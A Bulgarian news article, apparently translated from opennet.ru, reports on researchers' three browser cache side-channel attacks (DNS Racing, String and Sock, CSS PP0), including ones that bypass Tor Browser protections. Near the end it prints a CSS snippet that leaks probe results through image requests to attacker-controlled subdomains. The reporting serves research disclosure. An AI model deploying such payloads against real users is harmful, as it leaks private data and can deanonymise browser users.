Група изследователи от няколко американски, израелски и австралийски университета разработи три работещи в уеб браузри атаки за извличане на информация за съдържанието на кеша на процесора. Един метод работи в браузри без JavaScript, а другите два заобикалят съществуващите методи за защита срещу атаки по странични канали, включително приложими в Tor браузър и DeterFox. Кодът за демонстрация на атаките, както и необходимите за атаките сървърни компоненти, са публикувани на GitHub.
За анализа на съдържанието на кеша във всичките атаки се използва методът Prime+Probe, който предвижда запълване на кеша с еталонен набор от стойности и определяне на промените чрез измерване на времето за достъп до тях при повторно запълване. За заобикаляне на присъстващите в браузрите механизми за защита, които пречат на точната оценка на времето, в два варианта се извършва достъп до контролираем от атакуващия DNS или WebSocket сървър, на който се води лог на времето на получаване на заявките. В един вариант фиксираното време за DNS отговор се използва като еталонно време.
Измерванията, извършени с привличането на външни DNS или WebSocket сървъри, благодарение на прилагането на система за класификация на базата на машинно обучение, се оказаха достатъчни за предсказване на стойности с точност до 98% в най-оптималния сценарий (в средно 80-90%). Методи за атака са тествани на различни хардуерни платформи (Intel, AMD Ryzen, Apple M1, Samsung Exynos) и показаха, че са универсални.

В първия вариант на атаката „DNS Racing“ се използва класическата реализация на метода Prime+Probe, използваща масиви JavaScript. Разликите се свеждат до прилагане на външен таймер на базата на DNS и обработчик onerror, който се задейства при опит за зареждане на изображение от несъществуващ домейн. Външният таймер позволява извършване на атака Prime+Probe в браузри, които ограничават или напълно отключват достъпа до таймерите на JavaScript.
За DNS сървър, разположен в същата Ethernet мрежа, точността на таймера се оценява на около 2 ms, което е достатъчно за провеждане на атака през странични канали (за сравнение, точността на стандартния JavaScript таймер в Tor Browser е намалена до 100 ms). За атаката не е необходим контрол над DNS сървара, тъй като времето на изпълнение на операцията е подбрано така, че времето за отговор от DNS да служи като признак за по-ранно завършване на проверката (в зависимост от това дали обработчикът onerror е сработил по-рано или по-късно, се прави извод за скоростта на изпълнение на проверочната операция с кеша).
Вторият метод на атака „String and Sock“ е насочен към заобикаляне на защитните методи, които ограничават нискоуровневото използване на масиви в JavaScript. Вместо масиви в „String and Sock“ се използват операции с много големи низове, размерът на които е избран така, че променливата да покрива целия LLC кеш (Last level cache). След това, чрез функцията indexOf() в низa се търси малка подстрока, която първоначално отсъства в оригиналния низ, т.е. операцията по търсене води до преглеждане на целия низ. Тъй като размерът на низа съответства на размера на LLC кеша, сканирането позволява извършване на операция за проверка на кеша без манипулация с масиви. За измерване на забавянията вместо DNS се използва обръщение към контролирания от атакуващия WebSocket сървър — преди началото и след завършването на операцията по търсене в низа се изпращат заявки, на базата на които се сървър изчислява забавянето, използвано за анализ на съдържанието на кеша.
Третият вариант на атаката «CSS PP0» е реализиран чрез HTML и CSS и може да работи в браузери с изключен JavaScript. Методът напомня на «String and Sock», но не е свързан с JavaScript. По време на атаката се формира набор от CSS-селектори, които търсят по шаблон. Началната голяма строка, запълваща кеша, се задава чрез създаване на div таг с много голямо име на клас. Вътре се разполага набор от други div-ове с техните идентификатори. За всеки от тези вложени div-ове се определя собствен стил с селектор, който извършва търсене на подстрока. При рендериране на страницата браузерът първо се опитва да обработи вътрешните div-ове, което води до извършване на операция по търсене в голямата строка. Търсенето се извършва по предварително зададен шаблон, който не съществува, и води до обхождане на цялата строка, след което се задейства условието «not» и се извършва опит за зареждане на фоново изображение, което сочи към случайни. домейни: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>
Поддомените се обслужват на DNS-сервера на атакуващия, който може да измерва забавянията при получаване на заявки. За всички DNS-заявки, серверът издава NXDOMAIN и води лог на точните времена на обращенията. В резултат на обработката на набора от div-ове на DNS-сервера на атакуващия постъпва серия от заявки, забавянията между които корелират с резултатите от проверката на съдържанието на кеша.

Източник: opennet.ru
